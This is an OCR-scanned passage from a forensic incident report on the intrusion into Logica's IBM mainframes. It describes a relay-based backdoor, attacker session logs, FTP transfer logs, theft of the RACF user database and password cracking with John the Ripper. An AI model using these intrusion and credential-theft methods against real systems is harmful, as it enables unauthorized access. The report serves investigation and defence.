wou l d  not be effective aga i n st th i s  atta ck, s i nce it 

o I s  a new, nonsta ndard networki ng p rotoco l 

o B lack l i sti ngs a nd  wh ite l i st i ngs on  I P-add resses wou l d  be i n  i ncom i ng traffi c 
• lt ca n be ca mouflaged i n  the p resence of norma l  network traffic, e .g .  TCP port 443 

outgoing .  Thus Iaok ing l i ke va l i d  traffic .  
• The access method is on ly  known a nd  access ib l e  by the attacker. Th i rd part ies wi l l  not 

eas i ly fi nd  nor  use it 
• The setup with havi ng a n  i nte rmed i a ry host re l ayi ng traffic wou l d  make it very h a rd 

for a n  i nvestigati ng tea m to 

o F i n  d the sou rce of the attack, by checki ng sou rce l P  add resses. S i nce they a re 

h idden  by the re lay 

Note : th i s  scena rio  descri bed here i s  one v iew of the event .  For a comp lementa ry view, see the 

descr i ption of the a ctua l  backdoor p rogra m, ca l i ed "a .env a . k . a  CSQXD ISP" on page 105 . 
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Step 1 :  
call from victim 
lo roundez vous node 

Step 2: 
perpetratar starts "aptcli" 
lhis sync with roundez vous node 

SY1 9 

Step 3: 
"aptcli" gives perpetratar 
client access to vielim node 

SY19 

Relaying server X 

Relaying server X 

Relaying server X 
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� 
Perpetratar 

Perpetratar 

Figure 4 Description of backdoor into mainframe 

The p ictu re descr ibes the setup  a nd  esta b l i s h ment of a com m u n ication  cha nne l  between the 

perpetratar and the victi m hast. After hav ing i n it ia l  ly i n sta l l ed the rogue com m u n ications  

softwa re on the vict im ,  the softwa re when sta rted i n  step 1 fi rst esta b l i s h  a con nection  to the 

re lay i ng serve r. In  step 2, when the "a ptcl i"  too l  i s  sta rted, i t  wi l l  wa it  for the ra ndez vous to 
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ta ke p l ace with the re lay ing se rve r. Afte r th i s  con necti on is setup, step 3 i s  performed that g ive 

the perpetratar a ccess to the SY19 mach i ne .  

$ACL I T P 0 0 ADVANCED C L I ENT THREAT PERS I S TANCE I N I T IALI ZAT I ON . 

Advanced P e r s i s t ent c l i e nt 

port 4 4 3 : l i s t e n i n g . 

w a i t ing f o r  the APTb a c k< TM> . . .  

a l e rt ! ! !  a dvan c i ng p o r t  4 4 3  threat ! 

a c cepted p e r s i s t e n t  tcp c o nn e c t i on from 9 3 . 1 8 6 . 1 7 0 . 5 4 : 2 9 8 4  

$APTM1 3 3 7  ENTERING ADVANCE D PRINTE R / TY PEWR I TER MODE 

Figure SExample startup banner from the " a ptcl i" tool, when accepting a connection 

An exa m p le of step 2 a nd  step 3 ca n be seen in the above extract from the perpetrators own 

sess ion  logs. The l P  add ress shown in the figu re is a n  l P  add ress known to be a ma l i c ious 

add ress aga i n st  the ma i nfra me as  we i l .  And it  have figu red i n  for exa mp l e  FTP tra nsfers, when 

fi les have been sto len .  

F rom ana lys i s  of  logs, we be l ieve 

• that the perpetratar have used m u lt i p l e  re l ayi ng stations .  Located i n  d i ffe rent 

cou ntr ies .  
• Ma ny of the re layi ng stat ions where based on "she l l access" 
• The re l ay ing hosts m ight be hacked as  we i l  

• The re l ayi ng hosts where used for other  pu rposes as we i l .  

A n u m ber  of backdoors have been i n sta l l ed onto t h e  systems .  Some of these backdoors 

p rovi de easy remote access onto the systems, as  stated a bove, wh i l e  some of the other  

backdoors g ive a n  attacker w i th  p resence on  the system a n  easy way to switch to othe r  users 

a nd  accounts .  

Figure 6 Overview of backdoor network access, inc luding ca l lback access 
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From ou r ana lys is, we concl ude that the backdoor too! s a re samewhat s im i l a r  to "netcat" 2 i n  

fu nctiona l i ty and  provid i ng e i ther a c l i ent p rogra m or a network server s ide that ca n b e  used to 

eas i ly  create custom network services. 

The ca l l back access see m to be that the se rve r i s  esta b l i shed on the ma i nfra me s ide, i nc l ud i ng 

sta rt ing a com mand  i nte rprete r, i . e .  a s he l l  for execut ing typed comma nds, a nd  then ca l l i ng 

out from the ma i nfra me towa rds some p redeterm i ned ra ndez vouz  point .  

l t  cou l d  be noted from the p icture that the majority of these backdoor accesses a re performed 

towa rds Ca mbod ia  a nd  Germa ny, not i nvalvi ng  Sweden . 

A s im i l a r  setu p, to h i de  the p resence as we i l  as  h i de  the true sou rce of the con nect ion,  have 

been used for so ca l led "th ree way FTP" . Th i s  i s  descri bed i n  sepa rate cha pters, see "Append ix 

B :  Descri ption of th ree way FTP services" page 167 and  "Append ix  C :  Usage of th ree way ftp" 

page 170 

Example of attacks 

This  chapter conta i n s  some sa m ples of attacks performed .  The attacks presented i n  th i s  

cha pter a re descri b i ng  the attacks from two d i ffe rent a ng les :  

• F rom va r ious logs comp i led on the ma i nfra me 
• F rom session logs on the perpetratar computer. These l ogs were made ava i l a b le  to us 

from the i nvestigati ng po l ice as  a means to verify the activit ies performed by the 

perpetrator. 

The sess ion logs come  from progra ms, such as 

• putty that is used for remote a ccess . Putty is a ssh (secu re she I l )  c l i ent .  
• She l l  h i story fi les from the l oca l she l l used on the perpetraters mach i ne .  

l t  shou l d  be  qu ite easy to  see  tha t  t he  re  i s  a m atch between these two d i ffe rent a ng les  for the 

sa m p les shown i n  th is  re port. Th us, the re shou l d  be no rea l dou bts l eft that the one own ing  

the computer that  the po l i ce have ca ptu red i s  the one that  have been  perform i ng 

una uthorized access to the ma i nfra me .  

Bes ides the exa mp les shown here, one shou ld  exa m i ne :  

• The compa r ison between the . sh_hi story h i story fi l e  a nd  the ca ptu red sess ion  l og from 

the suspected perpetraters cam pute r. See" Ana lys is  of . sh_h istory fi les" page 58.  

• The sa mp le  of cracked passwords fou n d  on the suspected perpetraters ca ptu red 

com puters. Th is  i s  a nother  p iece of evidence that the expected perpetratar have been 

i nvolved .  The sa mp le  passwords a re stored we i l , more i nfo on th i s  i s  ava i l a b le  at 

"Append ix  E E :  Accou nts with cracked passwords found  on the pe rpetraters com puter" 

page 539.  

2 https ://en .wiki ped ia .org/wi ki/N etcat 
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• Additiona l  i nfo on attacks that have succeeded and  where the perpetraters have gone 

one step fu rther  can be read a bout i n  "Access to ma i nfra me th rough backdoor" on 

page 40 

• For i nformat ion on attacks to other  pa rts tha n the ma i nfra me itse lf, one can read  the 

cha pter on  " l nfotorg" at page 161 

Attacks via FTP 

Ma ny of the u n a uthorized accesses were performed via FTP, the remote fi l e access protoco l 

a nd  associated too l s .  Th is  a l l ow someone with a username  and  a password to remotely access 

a computer a nd  perform fi l e operat ions, such as up load i ng  a fi l e from a l oca l computer to a 

remote com pute r, down lead i ng  a fi l e  from the remote computer to a loca l com puter, de lete a 

fi l e, rename a fi le, etc. I n  the case with the I B M  ma i nfra me, the FTP sess ions  h ave extens ions 

that a l so a l l ow for remote job subm iss ions to the Job E ntry Subsystem .  Jobs a re written as  JCL 

scri pts that a re up l oaded to the ma i nfra me that wi l l  execute them and  return  the resu lts i n  a 

sepa rate resu lt fi l e .  

We have p icked same rea l exa m ples from the attacks a nd stiched tagether  logs from the  

ma i nframe w i th  sess ion logs from the perpetraters com p uter .  The  sess ion l ogs a re saved 

loca l ly on his com puter by same progra m used l oca l ly, probab ly his com mun i cat ions progra m 

(e .g .  putty?) or  term i n a l  sess ion hand l i ng  progra m ( e.g .  screen ?) 

Example attack session # 1  

The fo l lowi ng extract of  one of  m a ny FTP sess ions  aga inst Logi ca's ma i nfra me  com puters 

where obta i ned from the i nvestigat ing  po l i ce as a means  to he l  p with the i nvestigation .  

« Content removed from this versio n o f  t h e  re port d u e  t o  confid entia l ity req u i rements » 

As ca n be seen from these l ogs, there a re severa l th i ngs that matehes the attack as  we i l  as  

severa l deta i l s  that matehes the sess ion  l ogs from the perpetraters mach i ne  from that of  the 

l ogs of the Logi ca ma i nframe :  

• There a re i nteractive log i n  attem pts to SYS3 on  the 23 'd of March, wh ich  is extracted 

from the sess ion logs obta i ned from the pol i ce from the perpetraters com puter .  
• There a re i nte ractive log i n  attem pts to SYS3 on  the 23 'd of Ma rch, wh i ch ca n be found  

i n  t he  RACREP  reports from t he  ma i nfra me .  There i s  a match between the excerpts 

from these l ogs a nd  the excerpts from the sess ion l ogs from the perpetrator. 

l t  shou ld  be evident from this that there a re matehes on  dates and  user na mes on  these l ogs. 

Example #3 - bad the perpetrators any knowledge who and where they 

ha eke d? 

Cou l d  the attacke rs be ing awa re wh ich  system they were exp l o it ing? Cou l d  they get 

i nformat ion on the owners, the users or  the customers that used the system ?  We be l ive th i s  is 

Stri ct ly  confident ia l l Bus i ness Secret l 



Sidan 47 av 574 

Report 

most certa i n ly the case.  The re i s  too ma ny exa m p les to ment ion where a users, and  thus  a l so 

an perpetrator, wou ld  encou nter that i nformation, such as :  

• Company names, such as  i nfotorg, i nfodata, l og ica ,  se ma a re ava i l a ble  i n  the 

hostna mes or doma i n n a mes, if these where used in the com m u n icat ion or if they 

wou l d  be checked aga i n s  backward DNS reso lv ing if one used lP  addresses 
• Com pa ny na mes were vis i b le  on ma  ny l ogi n screens, menues, p rogra m output 
• Ma ny men ues a re i n  Swed ish ,  thus  a n  attacke r from a non-eng l i sh  speak ing cou ntry 

m ight have had  same prob lems with comp rehend i ng .  Th is  m ight not be as  l a rge 

ba rrie r  as fi rst thought, with the cu rrent ava i l a b i l ity of goog le  tra ns late a nd  s im i l a r  
• There a re contact i nformat ion on a n u m ber  of men ues, etc. There a re phone n u m bers, 

i n c l u d i ng cou ntry codes, wh ich one cou l d  exa m i ne if one where i nte rested 

N 0 2 0 0 1 0  

- - - - - - - - - - - - - - - - - - - - - - - - - - - T P X  MENY F @ R DAF 1 6 8 2  - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Meny C LEAR Kommando - t e c ke n  = l T e rm i n a l : T C P I 0 3 6 5  

Hopp PA1 Kommando - t a n g e n t =  P F 1 2 D a t um 2 3 / 0 3 / 1 2 

P r i n t  = NONE T i d  0 3 : 5 4 : 3 6 

- - - - - - - - - - - - - - - - - - > Logi ca H e l pde s k :  0 3 1 - 7 5 2 8 6 0 0 < - - - - - - - - - - - - - - - - - - - -

Kommando ===> 

==> S e s s i o n  DAFC I C P 5  h a r  avs l u t a t s  <== 

S e s s i o n  

DAFC I C P 5  

TPX-WMDA 

T S O  

s MEMO 

PRO F I L  

P F  t a n g e n t  B e s k r i vn i n g  

P F  

P F  

P F  

P F  

P F  

C I C S  - EKONOMI 

WMDATA - BROM@LLA 

TSO - Sema SYS3 

MEMO - S ema 

TPX Anv { n darp r o f i l  

s t a t u s  

E j  s t a r t a d  

Figure 7 Sample m e n u  screen with Logica, WM-Data and SEMA references 

The sa mp le  menu  screen i s  extracted from sess ion l ogs found  on the perpetraters com puter 

se ized by the po l ice. Th is  l og fi le  was ca l led "bes lag . l og.txt" in the vers ion we have received .  

The  extract above show I i nes 5525  to  a pproxi mate ly I i ne  5541 i n  that  fi l e .  

The  fo l l owing  log i n  screen a l so p rovi de the  name  "Logica" as  a l a rge ba n ner  a l l  over the  screen .  

At that specific hacki ng sess ion ,  that sp l at screen with t he  h uge Log ica ba nne r  where shown 14 
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ti m es . .  The excerpt is from a log fi l e  was ca l ied "bes lag . l og .txt" i n  the ve rs ion  we have 

rece ived . The extract above show I i nes 5999 to a pprox i mately I i ne 6022 in that fi l e .  

P F 1 =H j { 1p P F 3 =Av1 oggn i n g  

S y s t em : WMDPROD 

0 0 0 0 0  ggggg o e e c e e c  a a a a a a  
0 0  0 0  g g g g c c  a a a a 
0 0  0 0  g g g g i i i  c c  a a a a 
0 0  0 0  ggggg i i i  c c  a a a a 

1 1 1 1  0 0 0 0 0  gggg i i i  e e c e e c  a a a a a a  
g g g g 

g g g g V i d  f r } go r  f i n n s  a l l t i d  v } r  
g g 

g g 
gggg 

Anv kva 1 1 2 8  
L : s e n o r d : 
N y t t  L : s e n o r d : 
K o n t o : 
F l yt t a : 

g g S E RV I C E  
g g T e l e f o n : 

( e l l e r  LOGOF F )  

ANV#NDAR I D  # R  E J  AUKTORI S E RAD A T T  ANV# N DA TPX 
KONTAKTA KUN D S T @ D .  

D E S K  
0 7 7 1  

t i l l  ER h j { l p : 
- 4 5 6  4 5 6  

0 3 : 5 7 : 0 1 
2 3 / 0 3 / 1 2  
DAFUN 0 0 5  
3 2 7 9 - 2 A  
SMRTWMD 

Figure 8 Sample menu screen with a HUGE Logica reference 

P F 1 =H j ( lp P F 3 =Av s l u t  P F 7 =Upp P F B =Ned P F 1 1 =  - - - > H=Kommando - h j { lp 0 2 0 0 1 0 N 

N 0 1 0 0 1 0  

Anv ( n da r i d  ===> da f l 6 8 2  
L : s e n o r d  ===> 

Nytt L : s e n o r d  ===> 

V { l komme n  t i l l  

Logi ca 
Logi ca 

Logi ca 

( LOGOF F )  T e rm i n a l : T C P I 0 3 6 5  
D a t e : 2 3 / 0 3 / 1 2  
T ime : 0 3 : 5 8 : 0 7 
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@ ve r f : r  ===> 

H e l p de s k : 0 7 7 1  - 4 5 6  4 5 6  

E -ma i l : s e rv i c e de s kölogica . com 

P F 1 =H j { lp P F 3 =Avs l u t a  

Figure 9 Sample m e n u  screen with logica references 

0 1 0 0 1 0 N 
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From the se ized sess ion logs, for the one specific sess ion we sam p ied,  we ca n cou nt 30 menu  

screens i n  a row, where th i s  3 I i nes with "Logica" banne r  get d i sp l ayed. 

From another  sess ion log, this one from the beg i nn i ng  of ma rch, a rou nd  sth of Ma rch, we see 

that the perpetratar i s  active ly sea rch i ng  for som e com pa ny names, a nd  a l so gets d i sp l ayed 

com pany na mes of "Log ica" 

# grep - i volvo * 

# grep - i wm * 

epw f f s t : / / S T E P L I B  DD DSN=FF S T . V1 2 0 E SA . S E PWMOD 1 ,  
epw f f s t : / / FF S T L I B  DD DSN=FFS T . V1 2 0 E SA . S E PWMOD 1 ,  
l o gonwmO : / / LOGONWMO PROC 
0 0 0 6 0 0 0 0  
l ogonwmO : / / LOGONWMO EXEC P GM= I KJE FT 0 1 , DYNAMNBR= 2 5 6 , PARM=T S OWMO , T I ME= 1 4 4 0  
0 0 0 7 0 0 0 0  

# c a t  l o g o nwmO 
/ / * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

/ / * LOGICA T E K N I K 

/ / * LOGON PROCE DURE 
/ / * S Y S TEM PROGRAMME R ' S  
/ / * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

0 0 0 1 0 0 0 0  
0 0 0 2 0 0 0 0  

0 0 0 3 0 0 0 0  
0 0 0 4 0 0 0 0  
0 0 0 5 0 0 0 0  

Figure 10 Command s issued by the perpetratar to search for specific strings 

that are company names or part or company names 

Enumeration of users in the mainframe 

The user WAHS006 d i d  down load a fi l e  ca l led "users .txt" from SY19 on the 15th of ma rch 2012 

at 20.44. 31 .  From the FTP l og it seem to be the SY19 m a i nfra me partit ion  itse lf that i s  both the 

sender and the rece iver. In  rea l i ty, th is  i s  a th ree pa rty FTP sess ion 3 . 

3 See Appendix " Fel ! H ittar inte referenskäl la ."  page 240 that descri bes three pa rty FTP sessions .  
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T C P_FT P_SERVER_WAH S 0 0 6_0 3 1 5 - 0 3 1 6 . c sv : 2 0 1 2 - 0 3 - 1 5 ; 2 0 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 5 -

2 0 . 4 4 . 3 1 . 6 0 0 0 0 0 ; ? UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; ��Jt ; S EQ ; WAH S 0 0 6  

; A ; S ; F ; H ; 1 9 . 4 4 . 1 7 ; 1 9 . 4 4 . 3 1 ; 1 0 7 0 4 4 0 0 ; S ; ; ; ; FTPD1 ; s e ma i n f ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ;  

5 4 6 0 7 ; /var / u s e r s . t xt 

T C P_FTP_SERVER_WAH S 0 0 6  0 3 1 5 - 0 3 1 6 . c sv : 2 0 1 2 - 0 3 - 1 5 ; 2 0 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 5 -

2 0 . 4 6 . 1 5 . 3 9 0 0 0 0 ; ? UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; ��Jt ; S EQ ; WAH S 0 0 6  

; I ; S ; F ; H ; 1 9 . 4 6 . 1 4 ; 1 9 . 4 6 . 1 5 ; 3 5 0 2 0 8 0 ; S ; ; ; ; FT P D 1 ; s emai n f ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 5 

4 6 0 7 ; / va r / u s e r s . tx t  

T C P_FT P_SERVER_WAH S 0 0 6  0 3 1 5 - 0 3 1 6 . c sv : 2 0 1 2 - 0 3 - 1 5 ; 2 0 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 5 -

2 0 . 4 6 . 2 4 . 7 0 0 0 0 0 ; ? UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; ��Jt ; S EQ ; WAH S 0 0 6  

; I ; S ; F ; H ; 1 9 . 4 6 . 2 3 ; 1 9 . 4 6 . 2 4 ; 3 5 0 2 0 8 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 5 

4 6 0 7 ; / va r / u s e r s . tx t  

T C P  F T P  SERVER WAH S 0 0 6  0 3 1 5 - 0 3 1 6 . c sv : 2 0 1 2 - 0 3 - 1 5 ; 2 0 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 5 -
- - -

2 0 . 4 7 . 2 9 . 4 0 0 0 0 0 ; ? UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; ��Jt ; S EQ ; WAH S 0 0 6  

; I ; S ; F ; H ; 1 9 . 4 7 . 2 7 ; 1 9 . 4 7 . 2 9 ; 3 1 3 3 4 4 0 ; S ; ; ; ; FT P D 1 ; s em a i n f ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 5 

4 6 0 7 ; / va r / u s e r s . tx t  

Figure 11  Excerpt from FTP logs for file " users.txt" 

The fi l e  users . txt is a rather  ! a rge fi l e .  From ou r  control cou nt we have found  same 1 12642 

I i nes of output from same command  that l i st users, grou ps, etc. 

Theft of user account information : the RACF database 

l t  i s  be l i eved that the RACF user account database h ave been copied without a uthorizati on .  

The  RACF database i s  stored i n  two fi les ca  l i ed SYS l . RACF . PR IM  a nd  SYSl . RACF . BACKU P, where 

the fi rst is the p ri m a ry data base used i n  p rodu ct ian a n d  the seeond  o n  e i s  a backup copy of the 

fi l e .  

TCP F T P  SERVER T S Y 1 9 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -
- - - - -

0 3 . 2 7 . 2 3 .  5 9 0 0 0 0 ;  ? UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ;  2 1 ; ; ;  ��Et; S E Q ; AVIY3 
5 6 ; I ; S ; F ; H ; 0 2 . 2 7 . 1 2 ; 0 2 . 2 7 . 2 3 ; 2 9 2 9 7 5 0 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2  

o s ; 3 8 9 3 9 ;  / tmp/prim . gz 
T C P_FT P_SERVER_T_S Y 1 9_0 3 1 0 - 0 3 2 6 . c sv : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

0 3 . 2 8 . 5 4 . 1 3 0 0 0 0 ;  ? UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 .  8 0 ;  2 1 ; ; ;  ��Jt; S E Q ; AVIY3 
5 6 ; I ; S ; F ; H ; 0 2 . 2 8 . 4 1 ; 0 2 . 2 8 . 5 4 ; 2 92 9 7 50 0 ; S ; ; ; ; FT P D 1 ; s ema in f ; 2 0 3 . 1 7 6 . 1 4 1 . 2  

o s ; 3 8 9 3 9 ; / tmp/prim . gz 
Figure 1 2  Excerpt from FTP logs for fil e DOWN LO A D  o f  fil e " prim.gz" 
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The user who down loaded the fi l e  was AVIY356, a n  accou nt heavi ly used by the attackers. 

F i rst ca p ied at 2 O 1 2 - 0  3 - 1 0 - 0  3 .  2 7 . 2  3 .  5 9  0 0  O O and a seeond ti me  at the t i me 2 O 1 2 -

0 3 - 1 0 - 0 3 . 2 8 . 5 4 . 1 3 0 0 0 0 . This t ime the ta rget of the fi l e  tra nsfer was the h ast 
2 0 3 . 1 7 6 . 1 4 1 . 2 0 5  

The s i ze of the tra nsfe rred fi l e  was 2 9 2  9 7  5 0 0  bytes. As a com pa rative measure we took the 

or ig i na l  RACF fi l e, wh ich at the ti me for the compa rison had  cha nged s i ze samewhat s i nce it  

had been warked with d u  r ing the c ias ing of user accoutns etc .  By campress i ng  that RACF fi l e, 

they become com pa rab l e  i n  s ize .  We thus  conc lude th at at th i s  ti me, the pe rpetraters have 

sto len  the RACF user account  database from SYS19 .  

Th is  fi l e  is  later be l ieved to be used as  a sou rce for password crack ing by the perpetrators. For 

i nformat ion on  a utomated password crack i ng of RACF passwords, see cha pter "Crack ing 

passwords" page 53 .  

F rom the l ogs we cou l d  see that  the RACF was down loaded a seeond t ime, as  seen i n  th i s  l og 

exe rpt: 

TCP FTP SERVER T SY1 9 0 3 1 0 - 0 3 2 6 . c sv : 2 0 1 2 - 0 3 - 1 9 ; 1 1 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 -
1 9 -

- - -

1 1 . 2 5 . 5 7 . 0 8 0 0 0 0 ; <C 5 >UNKNOWN ; SY 1 9 ; ; 1 2 7 . 0 . 0 . 1 ; 2 l ; ; ; �TFl; SEQ ; �C 

��l ; I ; S ; F ; ; 0 9 . 5 3 . 5 0 ; 1 0 . 2 3 . 5 7 ; 1 2 6 0 7 5 0 0 0 ; S ; ; ; ; FTPDl ; s emai n f ; l 2 7 . 

0 . 0 . 1 ; 3 5 1 2 0 ; SYS l . RACF . PRIM 

Figure 13 Excerpt from FTP logs for file " SYSl. RACF.PRIM" 

The user "WMCM BAl" i s  a user used to backu p syste m fi l es, i nc l ud i ng the RACF database .  

e g r e p  WMCMBA1 UNXCMD . S Y 1 9 . FROM 0 3 1 3 . t x t  

1 9Mar 1 2  1 1 : 2 5 WMCMBA1 T C P F T P  1 2 7 . 0 . 0 . 1  F T P DN S  

DETA I L E D  RE PORT , EVENT C O D E  0 2 - 0 1 : ACCE S S  INSAUTH 

DATE T IME U S E R  ID REQUE S T D  GRAN T E D  CLAS S 
V I O L  TERM I NAL JOB NAME 

RE S OURCE NAME 

2 0 1 2 - 0 3 - 1 9  1 0 : 5 3 : 1 4 WMCMBA1 READ 
YE S  1 2 7 . 0 . 0 . 1  T C P F T P  

NONE S E RVAUT H  E Z B . FT P . S Y S 1 9 . F T P D 1 . ACCE S S . HF S  

Figure 1 4  Excerpts from t h e  z/os l o g  files ( S M F  typ 30 records a n d  RACREP) 

This seeond time the RACF database were stolen, it has been verified that this was as a demo 

by a IBM security engineer to show Logica mainframe stoff how one perpetratar might be 

ab/e to steal the RACF files. Thus, the RACF database were downloaded by an authorized 

person for legitimate use. 
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Havi ng a l ready gai n i ng access to a password, one  wou l d  be ab le  to remotely log in  to the 

system .  I ns ide the system one cou l d  try to ga i n  access to more accou nts by va r ious means .  

Ca ptur ing passwords ca n be done i n  one of  seve ra l d i fferent ways : 

• Stea l i ng a s i ng le or few passwords stored i n  a fi l e  outside of the ma i nfra me 

envi ron ment 
• Stea l i ng passwords sent i n  p l a i ntext i n  tra ns i t  when perform ing a l ogi n ,  e .g .  for 

perform i ng a fi l e  tra nsfer or  a n  i nteractive term i n a l  sess ion 
• Stea l i ng s i ng le  or  few passwords stored i n  a fi l e on the ma i nfra me envi ronment 
• Stea l i ng a l a rge n u m ber  of passwords stored i n  a database on the ma i nfra me 

envi ron ment 

Bes ides actua l ly stea l i ng the passwords i n  person, a uthent ication  i nformation  ca n be ga i ned by 

other  means 

• Traded with others i n  d i ffe rent com m u n icat ion  foru ms such as  I RC chat channe l s .  

• Testi ng of passwords on l i n e  from a d i eti ona rv 
• Test ing of passwords o n l i ne v ia brute force of comb i nation  of characte rs 

The test ing of passwords ca n be s imp l if ied by the fact that  there a re a h uge nu m ber of 

accou nts, especi a l ly of one have ma naged to enumerate the account na mes beforehand,  a n d  

t h e  existence o f  a t  least some very we l l known a nd  s i m p l e  defa u lt passwords .  

U ser accounts 

There i s  a l i st ca l i ed "users .txt" l eft beh i n d  by the perpetrators. Th is  is a text fi l e  conta i n i ng a 

n u m ber of I i sted accou nts a nd  groups, as  defi ned i n  RACF .  

Th i s  fi l e  conta i n  user  a nd  group  data as  output  from the  ma nagement com m a nds  for RACF, 

thus  a perpetrater  cou l d  ha rvest i nformat ion on user n a mes, etc. Ou r a n a lys i s  i s that th i s  l i st 

conta i n s  some 835 accou nts I i sted with comp l ete n ames, user n ames, a nd  othe r  attri butes. 

/t should be noted that more user accounts is revea/ed in the action that the perpetratar 

perform when he downloaded the RACF database. 

RACF content 

The fi le  n ame  of the RACF database in SY19 i s  n amed SYSl . RACF .PR I M .  After some ana lysis, the 

perpetraters where a b le  to fi nd  a loopho le and we be l ive ga ined  access to the comp lete RACF 

data base .  Th is  is evi dent, s i nce on  e of the fi les down loaded by the perpetraters is ca l i ed 

pri m .gz 
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0 3 . 2 7 . 2 3 . 5 9 0 0 0 0 ; ? UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; �TFl ; s  

E Q ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 7 . 1 2 ; 0 2 . 2 7 . 2 3 ; 2 9 2 9 7 5 0 0 ; S ; ; ; ; FT P D l ; s e 

ma i n f ;  2 0 3  . l  7 6 . 1 4 1 . 2 0 5 ;  3 8  9 3 9 ;  l tropiprim o gz 

T C P  FT P S E RVER T S Y 1 9 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 -- - - - -
1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

0 3 . 2 8 . 5 4 . 1 3 0 0 0 0 ; ? UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; �TFl ; s  

E Q ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 8 . 4 1 ; 0 2 . 2 8 . 5 4 ; 2 9 2 9 7 5 0 0 ; S ; ; ; ; FT P D l ; s e 

ma i n f ;  2 0 3  . l  7 6 . 1 4 1 . 2 0 5 ;  3 8 9 3 9 ;  l tropiprim o gz 

Figure 1 5  Excerpt from FTP tra nsfer logs describing downleading 

the file suspected to contain the RACF database 

By ca ptu r ing passwords, the attacke r  wou l d  be ab l e  to stack up on a lternative access paths 

i nto the ma i nfra me .  

Password analysis 

We have co l l ected vers ions  of the CRACF too l s  used i n  com bi nation  with John the Ripper 

password crack ing progra m to crack the RACF password data base .  J ohn  the R i pper is a 

sta nda rd tool ava i l a b l e  free on  the I nte rnet. I n  pa ra l l e l  with the i nc ident i nvestigat ion ,  a 

vers ion  of John  the R ippe r  that was ab le  to work with RACF was re leased . l t is bel ieved that 

there is a earre l at ion of the perpetraters ga i n i ng access to a RACF data base and the add it ion of 

RACF crack ing capa b i l it ies to John the R ipper .  

By ru n n i ng the same too l s  as  the perpetratar to test the password qua l i ty, we wou l d  be ab le to 

get some type of i ns ight in how easy or  h a rd it wou l d  be to get access to one user a ccoun t. 

A ve ry l a rge n umber  of users passwords where cracked.  

In  genera l ,  the passwords set by Logica, App l i cate and the ir  customers a re :  

• Very easy to d i scover by a d i eti ona rv attack 
• Often is sti l l  the defa u lt password that  where set once when the account where 

created 
• N ot camp lex (as  per  password cam p lexity goes ) 

Si nce RACF  stores its passwords i n  u ppercase on ly, and  that there i s  a restr ict ion o n  what 

characte rs ca n be used,  the keyspace i s  samewhat l i m ited, thus  l etti ng the attacker ru n n i ng a 

brute force password crack ing attem pt ga i n i ng yet a nothe r  adva ntage. 

An attacker ru n n i ng a brute force password crack ing attem pt wou l d  ga i n  yet a nother  

adva ntage. 
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Du  r ing the ti me of the actua l  i nc ident, a new vers ion of the popu l a r  password crack ing tool 

J ohnTheR ipper4 was re l eased with su pport for crack ing RACF sty le passwords. With 

J ohnTheR ipper  a nd  a decent d i ct iona ry, the password crack ing ca n be q u ite successfu l .  

SY19 RACF passwords 

As a bench ma rk ing  measu re, on a sta nd-a lone PC com pute r we i n sta l led the new ve rs ion of 

J ohn  the R ipper, obta i ned a copy of the SY19 RACF database a nd  sta rted to crack passwords .  I n  

a coup le  of days, same 30,000 a ccounts with associated cracked passwords where obta i ned .  

We have rece ived a sa m p le fi l e  f rom the i nvestigati ng po l i ce .  Th is fi le i s  enough evidence that  

the perpetrators have had  a copy of  the RACF database and performed password cracki ng. For 

more informat ion on  th i s  sa mp le  a s  a d i scuss ion of the passwords and accou nts, see 

"Append ix EE: Accoun ts with cra cked passwords found  on the perpetrators com puter" page 

539.  

SYS3 RACF passwords 

I n  a s im i l a r  manne r  as for the SY19 RACF database, as  a bench ma rki ng measu re, on  a sta nd

a lone PC computer we i nsta l led the new vers ion  of  John  the R i ppe r, obta i ned a copy of  the  

SYS3 RACF database and  sta rted to  cra ck passwords .  I n  a coup l e  of  days, same many lO,OOO's 

accou nts with associ ated cracked passwords where obta i ned .  I n  the case of SYS3, many of the 

accou nts a re be l i eved to be c losed, but  the crack ing p rogra m sti l l  ca n extract the passwords. 

/t should be stated that there is no evidence that the RACF database for SYS3 where stolen by 

